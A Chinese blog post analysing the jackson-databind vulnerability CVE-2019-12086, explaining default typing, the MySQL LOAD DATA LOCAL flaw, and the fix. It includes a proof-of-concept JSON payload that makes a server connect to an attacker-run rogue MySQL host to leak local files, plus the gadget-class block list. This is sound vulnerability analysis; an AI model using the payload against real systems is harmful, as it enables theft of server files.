分析Jackson的安全漏洞CVE-2019-12086

CVE-2019-12086 Description

A Polymorphic Typing issue was discovered in FasterXML jackson-databind 2.x before 2.9.9. When Default Typing is enabled (either globally or for a specific property) for an externally exposed JSON endpoint, the service has the mysql-connector-java jar (8.0.14 or earlier) in the classpath, and an attacker can host a crafted MySQL server reachable by the victim, an attacker can send a crafted JSON message that allows them to read arbitrary local files on the server. This occurs because of missing com.mysql.cj.jdbc.admin.MiniAdmin validation.

使用了jackson-databind 2.x before 2.9.9的Java应用,如果ClassPath中有com.mysql.cj.jdbc.admin.MiniAdmin(存在于MySQL的JDBC驱动中)这个类,那么Java应用所在的服务器上的文件,就可能被任意读取并传送到恶意的MySQL Server。具体原理下面分析。

Polymorphic Handling in JSON Serialization

    public class Person {
        public String name;
        public int age;
        public PhoneNumber phone;
    }
    abstract class PhoneNumber {
        public int num;
     }
     public class InternationalNumber extends PhoneNumber {
        public int areaCode;
     }
     public class DomesticNumber extends PhoneNumber { 
     }

一个序列化后的样例:

    { 
        "name" : "Bob",
        "age" : 28.
        "phone" : {
            "areaCode" : 555,
            "num" : 1234567
        }
    }

序列化后类型消失,反序列化时因为PhoneNumber是抽象类,不知道该创建哪一个子类的对象。

Enable Polymorphic Handling in Jackson

Jackson解决序列化时不知道类型的问题,可以用Default Typing:

      ObjectMapper om = new ObjectMapper();
      om.enableDefaultTyping();

      Person p = new Person();
      p.name = "Bob";
      p.age = 28;

      InternationalNumber phone = new InternationalNumber();
      phone.areaCode = 555;
      phone.num = 1234567;

      p.phone = phone;

      System.out.println(om.writeValueAsString(p));
    {
        "name":"Bob",
        "age":28,
        "phone":["jackson.InternationalNumber",{"num":1234567,"areaCode":555}]
    }

也有其它方法,不再赘述了,殊途同归,都是在JSON中增加数据类型信息,这样反序列化的时候Jackson就知道了该使用哪一个类来创建对象。

Security Issues with MySQL LOAD DATA LOCAL

MySQL支持使用LOAD DATA LOCAL INFILE这样的语法,将客户端本地的文件中的数据insert到MySQL的某张表中。挺好的功能,就是协议设计的有点怪,大概是这个样子的:

  1. 用户在客户端输入:load data local infile "/data.csv" into table test;
  2. 客户端=>服务端:我想把我本地的/data.csv文件插入到test表中;
  3. 服务端=>客户端:把你本地的/data.csv发给我;
  4. 客户端=>服务端:/data.csv文件的内容;

这个协议的问题是,客户端发送哪个文件的内容,取决于第3步,服务端要哪个文件,如果服务端是个恶意的MySQL,那么他可以读取客户端的任意文件,比如读取/etc/passwd:

  1. 用户在客户端输入:load data local infile "/data.csv" into table test;
  2. 客户端=>服务端:我想把我本地的/data.csv文件插入到test表中;
  3. 服务端=>客户端:把你本地的/etc/passwd发给我;
  4. 客户端=>服务端:/etc/passwd文件的内容;

而且,在大部分客户端(比如MySQL Connector/J )的实现里,第1、2步不是必须的,客户端发送任意查询给服务端,服务端都可以返回文件发送的请求。而大部分客户端在连接建立之后,都会有一些查询服务端配置之类的查询,所以使用这些客户端,只要创建了到恶意MySQL的连接,那么客户端所在服务器上的所有文件都可能泄露。

引用MySQL官方文档如下:

In theory, a patched server could be built that would tell the client program to transfer a file of the server's choosing rather than the file named by the client in the LOAD DATA statement.

Security Issues with MySQL Connector/J

MySQL的JDBC驱动有一个创建连接的配置项allowLoadLocalInfile,用来控制是否允许从本地读取文件,默认值是true,也就是允许。

不清楚具体从哪个版本开始,MySQL的JDBC驱动多了这么一个类com.mysql.cj.jdbc.admin.MiniAdmin,可能没什么人用过,它有一个特点,就是在构造方法里会创建一个到指定url的JDBC连接。

    public class MiniAdmin {
        private JdbcConnection conn;
    
        public MiniAdmin(String jdbcUrl) throws SQLException {
            this(jdbcUrl, new Properties());
        }
    
        public MiniAdmin(String jdbcUrl, Properties props) throws SQLException {
            this.conn = (JdbcConnection) (new Driver().connect(jdbcUrl, props));
        }
    
        ...
    }

以上两个问题,就导致只要使用恶意MySQL的url作为参数创建一个com.mysql.cj.jdbc.admin.MiniAdmin对象,就可以读取任意文件。

CVE-2019-12086 POC

首先创建一个恶意的MySQL,可以使用https://github.com/Gifts/Rogue-MySql-Server。这个server读取客户端文件,并写入到mysql.log中。
假设启动在ip:X.X.X.X上面,那么在客户端执行如下代码,执行代码所在的机器上的c:\windows\win.ini文件内容就会出现在mysql.log中。

    ObjectMapper om = new ObjectMapper();
    om.enableDefaultTyping();

    String poc = "[\"com.mysql.cj.jdbc.admin.MiniAdmin\", \"jdbc:mysql://X.X.X.X:3306/db\"]";
    Object obj = om.readValue(poc, Object.class);

端口号和文件号在Rogue-MySql-Server中写死了,可以打开任意修改,就是个python的脚本。

以上是POC,在实际的生产环境中,可以通过往一些接受JSON参数的接口发送恶意的JSON数据来达成攻击的目的。

MySQL Connector/J 的修复

MySQL Connector/J 8.0.15开始将allowLoadLocalInfile默认值设置为false。具体见这里

Changes in MySQL Connector/J 8.0.15

Jason的修复

从2.9.9版本开始,将com.mysql.cj.jdbc.admin.MiniAdmin加入反序列化黑名单:

    static {
        Set<String> s = new HashSet<String>();
        // Courtesy of [https://github.com/kantega/notsoserial]:
        // (and wrt [databind#1599])
        s.add("org.apache.commons.collections.functors.InvokerTransformer");
        s.add("org.apache.commons.collections.functors.InstantiateTransformer");
        s.add("org.apache.commons.collections4.functors.InvokerTransformer");
        s.add("org.apache.commons.collections4.functors.InstantiateTransformer");
        s.add("org.codehaus.groovy.runtime.ConvertedClosure");
        s.add("org.codehaus.groovy.runtime.MethodClosure");
        s.add("org.springframework.beans.factory.ObjectFactory");
        s.add("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        s.add("org.apache.xalan.xsltc.trax.TemplatesImpl");
        // [databind#1680]: may or may not be problem, take no chance
        s.add("com.sun.rowset.JdbcRowSetImpl");
        // [databind#1737]; JDK provided
        s.add("java.util.logging.FileHandler");
        s.add("java.rmi.server.UnicastRemoteObject");
        // [databind#1737]; 3rd party
//s.add("org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor"); // deprecated by [databind#1855]
        s.add("org.springframework.beans.factory.config.PropertyPathFactoryBean");

// s.add("com.mchange.v2.c3p0.JndiRefForwardingDataSource"); // deprecated by [databind#1931]
// s.add("com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"); // - "" -
        // [databind#1855]: more 3rd party
        s.add("org.apache.tomcat.dbcp.dbcp2.BasicDataSource");
        s.add("com.sun.org.apache.bcel.internal.util.ClassLoader");
        // [databind#1899]: more 3rd party
        s.add("org.hibernate.jmx.StatisticsService");
        s.add("org.apache.ibatis.datasource.jndi.JndiDataSourceFactory");
        // [databind#2032]: more 3rd party; data exfiltration via xml parsed ext entities
        s.add("org.apache.ibatis.parsing.XPathParser");

        // [databind#2052]: Jodd-db, with jndi/ldap lookup
        s.add("jodd.db.connection.DataSourceConnectionProvider");

        // [databind#2058]: Oracle JDBC driver, with jndi/ldap lookup
        s.add("oracle.jdbc.connector.OracleManagedConnectionFactory");
        s.add("oracle.jdbc.rowset.OracleJDBCRowSet");

        // [databind#2097]: some 3rd party, one JDK-bundled
        s.add("org.slf4j.ext.EventData");
        s.add("flex.messaging.util.concurrent.AsynchBeansWorkManagerExecutor");
        s.add("com.sun.deploy.security.ruleset.DRSHelper");
        s.add("org.apache.axis2.jaxws.spi.handler.HandlerResolverImpl");

        // [databind#2186]: yet more 3rd party gadgets
        s.add("org.jboss.util.propertyeditor.DocumentEditor");
        s.add("org.apache.openjpa.ee.RegistryManagedRuntime");
        s.add("org.apache.openjpa.ee.JNDIManagedRuntime");
        s.add("org.apache.axis2.transport.jms.JMSOutTransportInfo");

        // [databind#2326] (2.9.9): one more 3rd party gadget
        s.add("com.mysql.cj.jdbc.admin.MiniAdmin");

        DEFAULT_NO_DESER_CLASS_NAMES = Collections.unmodifiableSet(s);
    }

What to do to Protect My System?

以下是Jackson作者的建议:

Try to keep up with updated versions of Jackson (jackson-databind): it should always be safe to upgrade to the latest patch version of given minor version (safest in the sense they should be no breaking changes to functionality)

If possible, AVOID enabling default typing (since it is usually class name based). It is better to be explicit about specifying where polymorphism is needed.

AVOID using java.lang.Object (or, java.util.Serializable) as the nominal type of polymorphic values, regardless of whether you use per-type, per-property, or Default Typing

If possible USE “type name” and NOT classname as type id: @JsonTypeInfo(use = Id.NAME) — this may require annotation of type name (see @JsonTypeName and @JsonSubTypes)

个人觉着最重要是第3点,避免使用Object对象作为Jackson反序列化的目标。

Reference

https://github.com/FasterXML/jackson-databind/issues/2326
https://medium.com/@cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062
http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/
https://lightless.me/archives/read-mysql-client-file.html
http://ftp.nchu.edu.tw/MySQL/doc/refman/5.0/en/load-data-local.html
https://nvd.nist.gov/vuln/detail/CVE-2019-12086

posted @ 2019-06-11 18:54  程序员赵鑫  阅读(5144)  评论(0编辑  收藏